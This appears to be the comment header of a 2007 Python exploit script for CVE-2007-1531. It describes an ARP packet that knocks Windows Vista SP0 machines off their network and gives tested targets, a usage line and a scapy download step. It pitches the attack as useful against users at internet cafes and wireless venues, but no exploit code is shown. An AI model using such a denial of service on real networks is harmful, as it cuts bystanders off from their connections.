# Date: 20070514
# Reference: CVE-2007-1531
# Description: Microsoft Windows Vista (SP0) dumps interfaces when
# it receives this ARP packet.  This DoS is useful for an internet
# cafe, wireless venue, or legitimate local attack.  The victim will
# need to manually refresh their network interface.  OK, sure
# it's a dumb local attack, but why does Vista disable iface!?!??
# -> Thanks to Newsham / Hoagland
# Vulnerable: Microsoft Windows Vista (SP0) [All Versions]
# Tested:
# * victim == Windows Vista Enterprise (SP0) [English]
# * attacker == Ubuntu Feisty (7.04)
# Usage: python fISTArp.py <victim>
# Depends: scapy.py
# [?] If you don't have scapy
# [+] wget http://hg.secdev.org/scapy/raw-file/tip/scapy.py
